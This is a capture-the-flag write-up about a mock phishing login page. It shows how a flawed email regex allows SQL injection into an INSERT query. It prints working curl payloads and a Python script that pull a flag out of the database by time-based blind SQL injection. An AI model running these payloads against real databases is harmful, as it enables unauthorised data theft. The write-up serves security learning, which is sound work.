Challenge Description
We got an email redirecting us to this phishing website. We managed to retrive the source code of the page. Can you see if they managed to steal any valuable information?
- Flag format:
S2G{...}
<source-code>
(download and try yourself:))
initial findings
The challenge is a login page that prompts users to input a username and password.
We are given the source code for the challenge and find out that the flag is stored in the database as a password for one of the users.
The web application has three endpoints:
Method | Endpoint | Description |
---|---|---|
GET | /login | Retrieves the html for the login page |
POST | /login | Login with email and password. Email is validated with custom email function. Password escapes strings. It executes a SQL INSERT statement on valid email and password. This SQL sentence is not committed. It always returns the login page with the same error. |
GET | /credentials | Retrieves all emails and passwords stored in the database. Endpoint is protected with IP only from localhost |
The codebase is super small, the only thing that sparked my interest was this SQL query. If it is possible to do a SQL injection in this query we could get the flag straight from the database, and not go through the /credentials endpoint
#/app/app.py
if valid_email(email):
cursor.execute(f'INSERT INTO credentials (email, password) VALUES("{email}", "{password}")')
Since we are not allowed to escape strings on the password, we need to find a way to escape the string in the email.
Solution
Checking the function for validating email I found out that it had a flaw. The regex does not escape the last dot, allowing us to use any character instead. For example, martin@test”com instead if the intended [email protected].
#/app/util.py
def valid_email(email):
return re.search(r'^[a-z0-9\.]{1,64}@[a-z0-9]{2,64}.[a-z]{2,5}$', email)
def escape_string(string):
return string.replace('"', r'\"')
After escaping the string, we are faced with a new issue; the remaining SQL query is broken. This is solved by using the last five characters in the email address as a SQL command to join the two strings into one value. The password is used to fix the SQL query so that it makes sense.
INSERT INTO credentials (email, password) VALUES("martin@test"com", "mypassword")
INSERT INTO credentials (email, password) VALUES("martin@test"rlike", ",char(1))--")
curl -X POST http://10.212.138.23:48934/login --data "email=aaaa@aaa\"rlike&password=,char(1))--"
Now it is possible to control the SQL query being executed. It is time for the data retrieval process. Since the query is never committed or outputted to the user, I considered two options. 1. DNS exfiltrating. 2. Time based data retrieval. I opted for the second option since it is way easier to pull off.
Experimenting a bit, I could get the database to sleep. Nice!
curl -X POST http://10.212.138.23:48934/login --data "email=abaa@aaa\"rlike&password=,char(2)) UNION (SELECT SLEEP(2));# --"
I experimented with conditional sleeps so I could sleep when the data I sent in matched the flag stored in the database.
curl -X POST http://localhost/login --data "email=abaa@aaa\"rlike&password=,char(2)) UNION (SELECT SLEEP(2), 1 FROM credentials WHERE password LIKE '%S2G{%');# --"
My small test was a success, so I created a script to do time-based SQL data retrieval automatically.
Final exploit
import requests
import string
import time
alfa = string.ascii_lowercase + string.digits + "{}_"+ string.ascii_uppercase
url = "http://10.212.138.23:48934/login"
flag = "S2G{"
while True:
for c in alfa:
time.sleep(0.4)
injection = "email=abaa@aaa\"rlike&password=,char(2)) UNION (SELECT SLEEP(5), 1 FROM credentials WHERE password LIKE '%{}%');# --".format(flag + c)
print(injection)
start = time.time()
r = requests.post(url, data=injection, headers={'Content-Type': 'application/x-www-form-urlencoded'})
end = time.time()
print(r.text)
print(flag + c)
if end - start < 4:
continue
else:
flag += c
break
Flag: S2G{a6fb49f31727d03c74873457049cc815}